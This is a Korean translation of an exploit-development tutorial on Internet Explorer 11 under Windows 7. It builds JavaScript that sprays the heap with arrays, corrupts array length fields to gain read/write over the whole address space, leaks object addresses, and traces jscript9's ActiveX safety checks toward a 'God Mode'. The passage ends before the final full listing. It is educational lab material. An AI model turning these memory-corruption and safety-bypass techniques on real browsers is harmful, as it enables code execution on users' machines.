티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 18. IE 11 (Part 1)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.22



여기서는 VirtualBox VM에 윈도우즈 7, 64 비트, 서비스팩 1 환경에서 Internet Explorer 11버전을 사용합니다.

  • http://filehippo.com/download_internet_explorer_windows_7_64/tech/



EmulateIE9



IE 11에서 UAF 버그는 관련 기술 자료들에서 중요한 부분들이 많이 생략되어 있어 찾기가 어렵습니다. 개인적으로 익스플로잇 개발을 하는 학생의 입장으로 정보좀 얻고 싶습니다.

 

아무튼, 제가 찾은 UAF 버그는 아래 코드가 필요합니다.


<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />


아쉽지만 IE 9을 에뮬레이트 할 때, Int32Arrays를 사용할 수 없습니다. 그래서 우리가 IE 10에서 사용했던 방식은 여기서는 사용할 수 없습니다. 이제 다른 방법을 찾아 볼 시간이군요.



Array



IE 10에서 배열(Array)들이 어떻게 메모리에 구성되었는지 보았습니다. IE 11에서도 비슷하지만 좀 흥미로운 차이점이 있습니다. 아래와 같은 간단한 코드로 배열을 생성해봅시다.


1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<script language="javascript">
  var a = new Array((0x10000 - 0x20)/4);
  for (var i = 0; i < a.length++i)
    a[i] = 0x123;
</script>
</head>
<body>
</body>
</html>
cs


IE 10 배열은 jscript9!Js::JavascriptArray::NewInstance 호출에 의해 생성됩니다. 이곳에 breakpoint를 설정해보도록 하죠.


bp jscript9!Js::JavascriptArray::NewInstance


IE 11에서 페이지를 다시 불러와도 아무런 반응이 없습니다. 생성자를 한 번 살펴보도록 하겠습니다.


0:002> bc *

0:002> x jscript9!*javascriptarray::javascriptarray*

6f5c2480          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)

6f5c7f42          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)

6f4549ad          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)

6f47e091          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)

0:002> bm jscript9!*javascriptarray::javascriptarray*

  1: 6f5c2480          @!"jscript9!Js::JavascriptArray::JavascriptArray"

  2: 6f5c7f42          @!"jscript9!Js::JavascriptArray::JavascriptArray"

  3: 6f4549ad          @!"jscript9!Js::JavascriptArray::JavascriptArray"

  4: 6f47e091          @!"jscript9!Js::JavascriptArray::JavascriptArray"


여기서 WinDbg가 이상한 에러를 출력합니다.


Breakpoint 1's offset expression evaluation failed.

Check for invalid symbols or bad syntax.

WaitForEvent failed

eax=00000000 ebx=00838e4c ecx=00000000 edx=00000000 esi=00839b10 edi=00000000

eip=7703fc92 esp=05d57350 ebp=05d573d0 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246

ntdll!ZwUnmapViewOfSection+0x12:

7703fc92 83c404          add     esp,4


혹시 이 에러가 왜 발생되는지 아시는분은 저에게 알려주시기 바랍니다. 일단 이 에러를 피하기 위해서는 직접 4개의 breakpoints를 설정합니다.


bp 6f5c2480

bp 6f5c7f42

bp 6f4549ad

bp 6f47e091


다시 실행하고 IE 에서 차단된 컨텐츠 허용을 하게 되면 두 번째 breakpoint가 동작하며 스택 트레이스는 다음과 같이 나타나게 됩니다.


0:007> k 8

ChildEBP RetAddr  

0437bae0 6da6c0c8 jscript9!Js::JavascriptArray::JavascriptArray

0437baf4 6d9d6120 jscript9!Js::JavascriptNativeArray::JavascriptNativeArray+0x13

0437bb24 6da6bfc6 jscript9!Js::JavascriptArray::New<int,Js::JavascriptNativeIntArray>+0x112

0437bb34 6da6bf9c jscript9!Js::JavascriptLibrary::CreateNativeIntArray+0x1a

0437bbf0 6da6c13b jscript9!Js::JavascriptNativeIntArray::NewInstance+0x81    <--------------------

0437bff8 6d950aa3 jscript9!Js::InterpreterStackFrame::Process+0x48e0

0437c11c 04cd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8

WARNING: Frame IP not in any known module. Following frames may be wrong.

0437c128 6d94ceab 0x4cd0fe9


모든 breakpoint들을 지운 뒤에 JavascriptNativeIntArray::NewInstance breakpoint를 설정합니다.


0:007> bc *

0:007> bp jscript9!Js::JavascriptNativeIntArray::NewInstance


페이지를 다시 불러와 breakpoint가 동작하면 Shift + F11을 눌러 호출로 부터 나갑니다. 이 때, EAX JavascriptNativeIntArray 객체를 가리키고 있어야 합니다.



보기에 배열의 버퍼가 4개 요소의 공간만을 갖고 있습니다. 또는 이 4개의 요소들은 해더의 버퍼일까요? 배열의 크기가 증가하게 되면 더 큰 버퍼가 할당되어야 하고 따라서 배열 객체의 버퍼를 가리키는 포인터 역시 변경되어야 합니다. buf_addr 필드에 하드웨어 breakpoint를 설정해보도록 하겠습니다.


ba w4 @eax+14


실행을 다시 재개하면 하드웨어 breakpoint가 동작하고 스택 트레이스는 다음과 같습니다.


0:007> k 8

ChildEBP RetAddr  

0437bac0 6daf49a2 jscript9!Js::JavascriptArray::AllocateHead<int>+0x32

0437baf0 6daf4495 jscript9!Js::JavascriptArray::DirectSetItem_Full<int>+0x28d

0437bb44 6d94d9a3 jscript9!Js::JavascriptNativeIntArray::SetItem+0x187        <------------------------

0437bb70 03a860a6 jscript9!Js::CacheOperators::CachePropertyRead<1>+0x54

WARNING: Frame IP not in any known module. Following frames may be wrong.

0437c0c8 6da618a7 0x3a860a6

0437c104 6d950d93 jscript9!InterpreterThunkEmitter::GetNextThunk+0x4f

0437c128 6d94ceab jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x77

0437c168 6d94d364 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88


예상했듯이, jscript9!Js::JavascriptNativeIntArray::SetItem을 통해 요소들이 추가되게 되면 배열이 커집니다. 새로운 버퍼의 주소는 0x039e0010 입니다. 다시 실행을 재개하고 멈춘뒤에 0x039e0010의 버퍼를 살펴 보면 다음과 같습니다.




보면 버퍼에 어떤 인코딩 없이 0x123이 써진것을 볼 수 있습니다. IE 10에서는 인코딩 방식에 의해 0x247 였었습니다. 주의할 점은 값이 부호를 갖는 정수라는 것 입니다. 그러면 양의 정수 값이 가질 수 있는 가장 큰 값보다 더 큰 값을 배열에 쓰게 되면 어떤일이 발생하는지 보도록 하겠습니다. 힙 스프레이를 통해 버퍼에서 해당 값을 좀더 쉽게 찾을 수 있도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<script language="javascript">
  var a = new Array();
  for (var i = 0; i < 0x1000++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < a[i].length++j)
      a[i][j] = 0x123;
    a[i][0= 0x80000000;
  }
</script>
</head>
<body>
</body>
</html>
cs


WinDbg에서 0x90000000 같은 주소로 간 뒤, VMMap을 이용하여 적절한 주소를 찾습니다. 그러면 뭔가 익숙한 것을 볼 수 있습니다.



이는 우리가 IE 10에서 봣던 상황으로 숫자가 (2 * N + 1)로 인코드 되어있고, 첫 번째 요소가 0x80000000 를 갖으며 JavascriptNumber 객체를 가리키고 있습니다. 0x80000000을 직접 쓸 수 있는 방식은 없을까요? 있습니다. 이를 위해 음수 중 2의 보수가 0x80000000이 되는 값을 찾으면 됩니다. 해당 값은 다음과 같습니다.


-(0x100000000 - 0x80000000) = -0x80000000


다시 시도해보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<script language="javascript">
  CollectGarbage();
  var a = new Array();
  for (var i = 0; i < 0x1000++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < a[i].length++j)
      a[i][j] = 0x123;
    a[i][0= -0x80000000;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>
cs


보시다시피, 우리가 원하는 값을 정확히 얻었습니다.



우리는 IE 11에서 배열이 어떤 인코딩을 거치지 않고 직접 32 비트 부호형 정수를 저장하는 것을 알게 되었습니다. 배열에 32 비트 부호형 정수는 그대로 써지고 그 외의 다른 경우에는 IE 10과 동일하게 (2 * N + 1)로 인코딩 되게 됩니다. 이 뜻은, 우리가 주의만 기울이면 Array Int32Array 처럼 사용할 수 있다는 의미가 됩니다. EmulateIE9에서는 Int32Arrays가 유효하지 않기 때문에 이는 굉장히 중요합니다.



끝을 넘어선 읽기/쓰기



IE 10에서는 배열의 크기가 배열 객체와 배열 버퍼의 해더에 나타났습니다. IE 11에서는 뭔가 바뀌었는지 확인해보도록 하겠습니다. 확인을 위해 아래 코드를 사용합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<script language="javascript">
  var a = new Array((0x10000 - 0x20)/4);
  for (var i = 0; i < 7++i)
    a[i] = 0x123;  
 
  alert("Done");
</script>
</head>
<body>
</body>
</html>
cs


배열의 주소를 구하기 위해서는 아래 breakpoint를 사용합니다.


bp jscript9!Js::JavascriptNativeIntArray::NewInstance+0x85 ".printf \"new Array: addr = 0x%p\\n\",eax;g"


아래 그림은 배열 객체와 해당 버퍼를 나타낸 그림입니다.



다음 코드를 사용해보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head>
<script language="javascript">
  var array_len = (0x10000 - 0x20)/4;
  var a = new Array(array_len);
  for (var i = 0; i < 7++i)
    a[i] = 0x123;
 
  alert("Modify the array length");
 
  alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>
cs


배열의 실제 끝보다 더 읽거나 쓰기를 위해 배열의 크기를 수정해야 합니다. IE 에서 HTML 페이지를 다시 불러와 첫 번째 알림창이 뜨면 WinDbg로 가서 배열 객체의 크기를 0x20000000으로 덮어 씁니다. 알림창을 닫으면 두 번째 알림창에 undefined 라는 메시지가 뜨게 됩니다. 이 의미는 배열 크기를 넘어선 위치를 읽지 못했다는 의미가 됩니다.

 

배열 버퍼의 해더에 있는 “Array actual length”를 변경해봐도 (7 0x20000000 으로) 결과는 동일합니다.

 

마지막으로 배열 해더에 있는 “Buffer length” 필드를 수정해봐도 (0x3ff8 0x20000000) 결과는 동일합니다. 그러면 만약 이 3개의 크기 필드를 모두 수정 하면 어떨까요? 동작합니다! 수동으로 이 3개의 값을 수정하는게 꼭 필요한 작업일까요? 배열의 현재 크기를 넘어선 곳의 인덱스에 쓰게 되면 배열은 커지게 됩니다. 만약 버퍼가 너무 작다면, 충분히 큰 버퍼가 할당되게 됩니다. 그러면 또 궁금한게 만약 “Buffer length” 필드만 수정하고 현재 배열의 크기를 넘어선 위치에 인덱스를 이용하여 쓰게 된다면 어떻게 될까요? 만약 로직이 실패하지 않는다면 IE는 버퍼가 충분히 크다고 생각하기 때문에 (사실 가짜 크기) 버퍼를 건들이지 않고 배열을 키우게 됩니다. 다시 말해, IE는 현재 배열의 끝을 넘어서 배열을 쓰게 되면 결과적으로 다른 두개의 크기 필드를 갱신해야 합니다.

 

코드를 좀 수정해보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head>
<script language="javascript">
  var array_len = (0x10000 - 0x20)/4;
  var a = new Array(array_len);
  for (var i = 0; i < 7++i)
    a[i] = 0x123;
 
  alert("Modify the \"Buffer length\" field");
  a[array_len + 0x100= 0;
  alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>
cs


IE 에서 HTML 페이지를 불러오고 첫 번째 알림창이 뜨면 버퍼 해더에 있는 “Buffer length” 필드를 수정합니다. 그 후, 다시 실행을 재개하고 알림창을 닫습니다. IE에서는 우리가 배열 끝 부분 이후에 있는 뭔가 중요한 것을 덮어 써서 충돌이 발생할 수 있습니다. 이 경우, 위 과정을 다시 반복하면 됩니다.

 

이제, 두 번째 알림창이 뜨면, 배열 객체와 버퍼 해더를 확인합니다.




완벽합니다! 다시 짚어보면 만약 버퍼의 “Buffer length” 필드가 변경되지 않았다면 새로운 버퍼의 크기는 최소 0x40f9가 할당되며 배열의 뒤쪽의 메모리 읽기/쓰기를 할 수가 없습니다.



전체 주소 공간 읽기/쓰기


우리는 전체 주소 공간에 대해 읽기/쓰기 접근을 할 수 있어야 합니다. 이를 위해, 힙에 배열들을 스프레이 하고 배열 중 하나의 해더의 “Buffer length” 필드를 수정하고 수정된 배열을 찾아 마지막으로 다른 배열의 3개 크기 필드를 모두 수정합니다. 이렇게 수정된 두 번째 배열을 이용하여 우리가 원하는 위치에 읽고 쓰기를 하려고합니다.

 

아래는 자바스크립트 코드입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000++i) {
      a[i] = new Array(array_len);
      a[i][0= 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4= 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0== 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4= 0x3fffffff;
    a[idx][array_len + 0x18/4= 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>
cs


배열의 버퍼 해더 크기는 0x20인데 이 중, 0x10 바이트는 힙 할당 해더이고 0x10 바이트는 버퍼 해더 입니다.

 

magic_addr은 우리가 수정한 배열이 위치할 주소입니다. 이 값은 편한 위치로 변경하시면 됩니다.

 

수정된 배열의 인덱스를 결정하기 위해 배열의 할당 순서와 다음 배열의 첫 요소 수정을 고려해야 합니다. 만약 a[i]가 수정된 배열이고 메모리에 a[i+1]의 버퍼가 a[i] 버퍼 바로 뒤에 있다면 a[i]를 이용하여 a[i+1]의 첫 번째 요소를 수정할 수 있습니다. a[i]가 수정된 배열이 아니라면 새로운 버퍼가 할당되기 때문에 이 버퍼는 증가할 것입니다. 만약 a[idx]가 수정된 배열이라고 결정할 수 있다면 a[idx+1]의 버퍼가 재할당되지 않고 a[idx] 버퍼 뒤에 있음을 확신할 수 있습니다.

 

이제 우리는 주소 공간 [base_addr, 0xffffffff]에 읽기/쓰기를 할 수 있지만 [0, base_addr]은 어떨까요? a[idx+1]의 버퍼 전에 읽기/쓰기를 할 수 있을까요? 아마, IE는 기본 주소들과 배열의 크기가 정확하다고 보고 오버플로우에 대해서는 확인하지 않을 것 입니다. 예를들어, 0x400000 dword를 읽고 싶고 base_addr 0xc010000이라 하면 이를 읽기 위한 요소의 주소는 다음과 같이 계산 될 수 있습니다.


base_addr + index*4 = 0xc010000 + index*4


index * 4 < 2 ^ 32 – base_addr 임을 확인 할 필요가 없습니다. 따라서, 0x400000에 있는 dword를 읽기 위한 인덱스는 다음과 같이 구할 수 있습니다.


0xc010000 + index*4 = 0x400000 (mod 2^32)

index = (0x400000 - 0xc010000)/4 (mod 2^32)

index = (0x400000 + 0 - 0xc010000)/4 (mod 2^32)

index = (0x400000 + 2^32 - 0xc010000)/4 (mod 2^32)

index = 0x3d0fc000 (mod 2^32)


표기로는 다음과 같으며,


a = b (mod N)


이 뜻은 아래와 같이 됩니다.


a = b + k*N for some integer k.


예를들어,


12 = 5 (mod 7)


는 다음과 같이 됩니다.



12 = 5 + 1*7


32 비트 오버플로우는 mod 2^32과 같기 때문입니다. 예를들어,


-5 = 0 - 5 = 2^32 - 5 = 0xfffffffb


이렇게 되는데 그 이유는 mod 2 ^ 32에서 0 2^32는 동일하기 때문입니다. (0=2^32 – 1 * 2^32)

 

요약하면, IE가 단순히 index < array_len (여기서는 0x3fffffff)의 확인과 추가적인 오버플로우를 확인하지 않는다면 위를 통해 [0, 0xffffffff] 공간에 대해 읽기/쓰기를 할 수 있습니다. 아래는 읽고 쓰기를 위한 함수들을 구현한 내용입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Very Important:
//    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
//    converted to 64-bit floating point.
//    This means that we can't, for instance, write
//        a[idx+1][index] = 0xc1a0c1a0;
//    The number 0xc1a0c1a0 is too big to fit in a signed int32.
//    We'll need to represent 0xc1a0c1a0 as a negative integer:
//        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
 
function int2uint(x) {
  return (x < 0) ? 0x100000000 + x : x;
}
 
function uint2int(x) {
  return (x >= 0x80000000) ? x - 0x100000000 : x;
}
 
// The value returned will be in [0, 0xffffffff].
function read(addr) {
  var delta = addr - base_addr;
  var val;
  if (delta >= 0)
    val = a[idx+1][delta/4];
  else
    // In 2-complement arithmetic,
    //   -x/4 = (2^32 - x)/4
    val = a[idx+1][(0x100000000 + delta)/4];
  
  return int2uint(val);
}
 
// val must be in [0, 0xffffffff].
function write(addr, val) {
  val = uint2int(val);
  
  var delta = addr - base_addr;
  if (delta >= 0)
    a[idx+1][delta/4= val;
  else
    // In 2-complement arithmetic,
    //   -x/4 = (2^32 - x)/4
    a[idx+1][(0x100000000 + delta)/4= val;
}
cs


Array 32 비트 부호형 정수를 갖음을 봤습니다. 저는 부호 없는 32 비트 정수를 다루고 싶기 때문에 부호 있는 정수와 부호가 없는 정수 변환기를 넣었습니다.

 

아직 잘 동작하는지 확인하지 않았습니다. 아래는 전체 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000++i) {
      a[i] = new Array(array_len);
      a[i][0= 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4= 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0== 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4= 0x3fffffff;
    a[idx][array_len + 0x18/4= 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4= val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4= val;
    }
    
    alert("Write a number at the address " + (base_addr - 0x10000).toString(16));
    var num = read(base_addr - 0x10000);
    alert("Did you write the number " + num.toString(16+ "?");
    
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>
cs


모든 동작이 잘 진행되었는지 확인하기 위해 0x80000000 보다 큰 값을 써봅니다. (예를들어, 0x87654321) 운이 좋다면, 모든 것이 잘 동작하는 것처럼 보일 것 입니다.



get_addr 함수



get_addr 함수는 간단합니다.


1
2
3
4
5
6
function get_addr(obj) {
  a[idx+2][0= obj;
  return read(base_addr + 0x10000);
}
 
alert(get_addr(ActiveXObject).toString(16));
cs


객체를 a[idx+1][0]에 할당하는 것은 IE에서 충돌이 발생될 수 있기 때문에 할 수가 없습니다. 사실 a[idx+1]은 혼합된 배열이 될 거고 IE는 모든 주소 공간의 dwords를 인코드 하려고 할 것입니다. a[idx] 역시 동일한 이유로 사용하지 못하고 a[idx-1] 또는 이전 배열들도 해당 버퍼들이 어딘가에 재할당되어 있기 때문에 사용할 수 없습니다. 따라서, a[idx+2]가 괜찮아 보입니다.



God Mode


이제 우리는 IE 10에서 IE 11의 God Mode가 필요합니다. 처음 몇개의 줄부터 시작해보죠.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// At 0c0af000 we can read the vfptr of an Int32Array:
//   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000- 0x3b60;
 
.
.
.
 
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
//      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
//      v
//   70792248 0c012b40 00000000 00000003
//   73b38b9a 00000000 00574230 00000000
//      ^
//      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
alert(addr.toString(16));
return;
mshtml = read(addr + 0x10- 0x58b9a;
cs


알림창이 뜨면, 가리키고 있는 주소의 메모리를 조사하고 코드를 수정하기 위한 모든 정보를 가져와야 합니다. 아래는 수정된 코드입니다.


1
2
3
4
5
6
7
8
9
10
11
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
//      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
//      v
//  04ab2d50 151f1ec0 00000000 00000000
//  6f5569ce 00000000 0085f5d8 00000000
//      ^
//      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x2d50;
mshtml = read(addr + 0x10- 0x1569ce;
cs


jscript9!ScriptSite::CreateActiveXObject가 아직 존재한다면 분석해봅시다. 먼저, 아래 코드를 추가합니다.


1
new ActiveXObject("ADODB.Stream");
cs


그 후, IE 에서 페이지를 불러와 jscript9!ScriptSite::CreateActiveXObject breakpoint를 추가합니다. breakpoint가 동작하면 CreateObjectFromProgID를 호출 할 때까지 진행합니다.


04c05a81 e84a000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04c05ad0)


그리고 함수 내부로 들어가 (F11) CanCreateObject를 만날 때까지 진행합니다.


04c05b4c 8d45e8          lea     eax,[ebp-18h]

04c05b4f 50              push    eax

04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)

04c05b55 85c0            test    eax,eax

04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)


또 안으로 들어가 (F11) 가상 호출이 일어날 때까지 진행합니다.


04c05df0 8d55f8          lea     edx,[ebp-8]

04c05df3 6a00            push    0

04c05df5 6a00            push    0

04c05df7 6a10            push    10h

04c05df9 ff7508          push    dword ptr [ebp+8]

04c05dfc 8b08            mov     ecx,dword ptr [eax]

04c05dfe 6a04            push    4

04c05e00 52              push    edx

04c05e01 6800120000      push    1200h

04c05e06 50              push    eax

04c05e07 ff5110          call    dword ptr [ecx+10h]  ds:002b:702bcda8={MSHTML!TearoffThunk4 (6f686f2b)}  <---------------

04c05e0a 85c0            test    eax,eax

04c05e0c 7811            js      jscript9!ScriptEngine::CanCreateObject+0x5e (04c05e1f)

04c05e0e f645f80f        test    byte ptr [ebp-8],0Fh

04c05e12 6a00            push    0

04c05e14 58              pop     eax

04c05e15 0f94c0          sete    al

04c05e18 5e              pop     esi

04c05e19 8be5            mov     esp,ebp

04c05e1b 5d              pop     ebp

04c05e1c c20400          ret     4


IE 10에서는 CanCreateObject에서 null 값이 아닌 EAX null 값인 EDI를 얻었습니다. 하지만 위 코드를 보시면 IE 11에서는 pop edi 가 없습니다. 이것은 우리가 단지 함수 에필로그만 호출할 수 있음을 의미하는 것일까요?

 

좀더 유용한 정보를 수집해보도록 하겠습니다.


0:007> ln ecx

(702bcd98)   MSHTML!s_apfnPlainTearoffVtable   |  (702bd4a0)   MSHTML!GLSLFunctionInfo::s_info

Exact matches:

    MSHTML!s_apfnPlainTearoffVtable = <no type information>

0:007> ? 702bcd98-mshtml

Evaluate expression: 15453592 = 00ebcd98

0:007> ? 04c05e19-jscript9

Evaluate expression: 1400345 = 00155e19


이제 CanCreateObject 에서 나옵니다. (Shift + F11)


04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)

04c05b55 85c0            test    eax,eax      <----------------- we are here

04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)

04c05b5d 6a05            push    5

04c05b5f 58              pop     eax

04c05b60 85ff            test    edi,edi      <---------------- EDI must be 0

04c05b62 0f85fd351200    jne     jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61a58 (04d29165)


보면 EDI는 반드시 0을 갖지만 좀 다른점은 CanCreateObject에서 더이상 EDI를 사용하지 않기 때문에 CanCreateObject에서 반환하기 전에 초기화할 필요가 없습니다. 좋은 소식이군요!

 

CanObjectRun에 닿기 위해 EAX를 수정합니다.


r eax=1


CanObjectRun을 만날 때까지 진행하고 만나면 안으로 들어갑니다. 진행하다보면 좀 익숙한 가상 호출을 보게 됩니다.


04c05d2c 53              push    ebx

04c05d2d 6a18            push    18h

04c05d2f 52              push    edx

04c05d30 8d55cc          lea     edx,[ebp-34h]

04c05d33 895de8          mov     dword ptr [ebp-18h],ebx

04c05d36 8b08            mov     ecx,dword ptr [eax]

04c05d38 52              push    edx

04c05d39 8d55c0          lea     edx,[ebp-40h]

04c05d3c 52              push    edx

04c05d3d 68845dc004      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04c05d84)

04c05d42 50              push    eax

04c05d43 ff5114          call    dword ptr [ecx+14h]  ds:002b:702bcdac={MSHTML!TearoffThunk5 (6f686efc)}  <--

04c05d46 85c0            test    eax,eax

04c05d48 0f889c341200    js      jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61add (04d291ea)

04c05d4e 8b45c0          mov     eax,dword ptr [ebp-40h]

04c05d51 6a03            push    3

04c05d53 5b              pop     ebx

04c05d54 85c0            test    eax,eax

04c05d56 740f            je      jscript9!ScriptEngine::CanObjectRun+0xaa (04c05d67)

04c05d58 837dcc04        cmp     dword ptr [ebp-34h],4

04c05d5c 7202            jb      jscript9!ScriptEngine::CanObjectRun+0xa3 (04c05d60)

04c05d5e 8b18            mov     ebx,dword ptr [eax]

04c05d60 50              push    eax

04c05d61 ff1518a0e704    call    dword ptr [jscript9!_imp__CoTaskMemFree (04e7a018)]

04c05d67 6a00            push    0

04c05d69 f6c30f          test    bl,0Fh

04c05d6c 58              pop     eax

04c05d6d 0f94c0          sete    al

04c05d70 8b4dfc          mov     ecx,dword ptr [ebp-4]

04c05d73 5f              pop     edi

04c05d74 5e              pop     esi

04c05d75 33cd            xor     ecx,ebp

04c05d77 5b              pop     ebx

04c05d78 e8b8b3eaff      call    jscript9!__security_check_cookie (04ab1135)

04c05d7d 8be5            mov     esp,ebp

04c05d7f 5d              pop     ebp

04c05d80 c20800          ret     8


만약 전과 같은 함수의 에필로그를 호출한다면 jscript9!_imp__CoTaskMemFree 호출을 무시하게 되고 이는 문제가 되진 않습니다. ECX CanCreateObject에서 참조된 동일한 vftable을 가리킵니다. CanObjectRun 에필로그의 RVA를 구해보도록 하겠습니다.


0:007> ? 04c05d7d-jscript9

Evaluate expression: 1400189 = 00155d7d


아래는 전체 자바스크립트 코드입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
